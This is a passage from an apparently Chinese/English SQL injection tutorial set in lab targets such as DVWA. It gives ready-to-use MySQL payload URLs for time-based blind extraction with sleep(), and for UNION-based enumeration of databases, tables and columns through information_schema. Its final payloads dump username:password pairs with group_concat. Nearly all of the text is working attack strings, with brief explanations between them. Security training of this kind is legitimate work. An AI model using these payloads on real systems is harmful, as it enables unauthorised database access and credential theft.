# 依次查询单个字段数据内容的方式
and if(ascii(substring((select user from users limit 0,1),1,1))=97,sleep(3),0)
例:http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=1' and if(ascii(substring((select user from users limit 0,1),1,1))=97,sleep(3),0)-- &Submit=Submit#

2.2 遍历字符方式
# 查询所有字段数据内容的方式
and if(left((select concat(user,0x3a,password) from users limit 0,1),1)='a',sleep(3),0)
例:http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=1' and if(left((select concat(user,0x3a,password) from users limit 0,1),1)='a',sleep(3),0)-- &Submit=Submit#
# 依次增加 LEFT(str,len) 函数的 len 长度,与查询的字段数据内容的字符,遍历出所有数据。

# 依次查询单个字段数据内容的方式
and if(left((select user from users limit 0,1),1)='a',sleep(3),0)
例:
http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=1' and if(left((select user from users limit 0,1),1)='a',sleep(3),0)-- &Submit=Submit#
http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=1' and if(left((select user from users limit 0,1),2)='ad',sleep(3),0)-- &Submit=Submit#
# 依次增加 LEFT(str,len) 函数的 len 长度,与查询的字段数据内容的字符,遍历出所有数据。

3.5 using the information_schemaquery method

3.5.1 Query database name

http://192.168.100.135/index.php?ID=4 and 1=2 union select 1,database(),3  

3.5.2 Query table name

Principle :

  • There is a library information_schema in Mysql that contains a lot of information, including all library names, table names, and field names. Because you can use this library to get the table of the current library
# 获取当前库
http://192.168.100.135/index.php?id=1 and 1=2 union select 1,database(),3

# 由当前库获取当前库的表名
http://192.168.100.135/index.php?id=-1 union select 1,2,TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1
http://192.168.100.135/index.php?id=-1 union select 1,2,TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='database_name' limit 0,1
http://192.168.100.135/index.php?id=-1 union select 1,2,TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=0x数据库名的16进制数 limit 0,1
# limit 0,1 指获取第一个表名,要遍历获取其他表名需要将 0 依次递增+1,直到返回空结束。

3.5.3 Query table field names

Principle: information_schemadatabase COLUMNtable COLUMN_NAMEfields holds field information for all tables.

http://192.168.100.135/index.php?id=-1 and 1=2 union select 1,2,COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='admin' limit 0,1
# 或对所查询表名称做 16 进制转换
http://192.168.100.135/index.php?id=-1 and 1=2 union select 1,2,COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME=0x61646d696e limit 0,1

3.5.4 Query field data

":" 的 16 进制为 0x3a
# 字段数据
http://192.168.100.137/index.php?id=-1 and 1=2 union select 1,2,group_concat(username,0x3a,password) from admin limit 0,1

3.6 group_concat()Function to query all data

  • This method is not universal, and sometimes the query will be incomplete due to the size of the field.
  • Solution : Change a field to query, or use a function to query the length and then use a string function to intercept. ( Follow-up supplement )

3.6.1 Query all libraries

# 需要处理闭合时的情况
# 逐个查询
http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=-1' union select 1,SCHEMA_NAME FROM information_schema.SCHEMATA LIMIT 0,1-- &Submit=Submit#
# 查询所有
http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=-1' union select 1,GROUP_CONCAT(SCHEMA_NAME) FROM information_schema.SCHEMATA-- &Submit=Submit#

# 不需要处理闭合时的情况
# 逐个查询
http://192.168.100.137/index.php?id=1 and 1=2  union select 1,2,SCHEMA_NAME from information_schema.SCHEMATA limit 0,1
# 查询所有
http://192.168.100.137/index.php?id=1 and 1=2  union select 1,2,group_concat(SCHEMA_NAME) from information_schema.SCHEMATA

3.6.2 Query all tables

# 需要处理闭合时的情况
http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=-1' union select 1,GROUP_CONCAT(TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA=database()-- &Submit=Submit#

# 不需要处理闭合时的情况
http://192.168.100.137/index.php??id=1 and 1=2 union select 1,2,group_concat(TABLE_NAME) from information_schema.TABLES WHERE TABLE_SCHEMA=database()

3.6.3 Query all fields in the table

# 需要处理闭合时的情况
http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=-1' union select 1,GROUP_CONCAT(COLUMN_NAME) FROM information_schema.COLUMNS WHERE TABLE_NAME=0x7573657273-- &Submit=Submit#

# 不需要处理闭合时的情况
http://192.168.100.137/index.php??id=1 and 1=2 union select 1,2,group_concat(COLUMN_NAME) from information_schema.COLUMNS WHERE TABLE_NAME='admin'

3.6.4 Query all data

# 需要处理闭合时的情况
http://192.168.100.129/dvwa/vulnerabilities/sqli/?id=-1' union select 1,GROUP_CONCAT(user,0x3a,password) FROM users-- &Submit=Submit#

# 不需要处理闭合时的情况
http://192.168.100.137/index.php?id=1 and 1=2 union select 1,2,group_concat(username,0x3a,password) from admin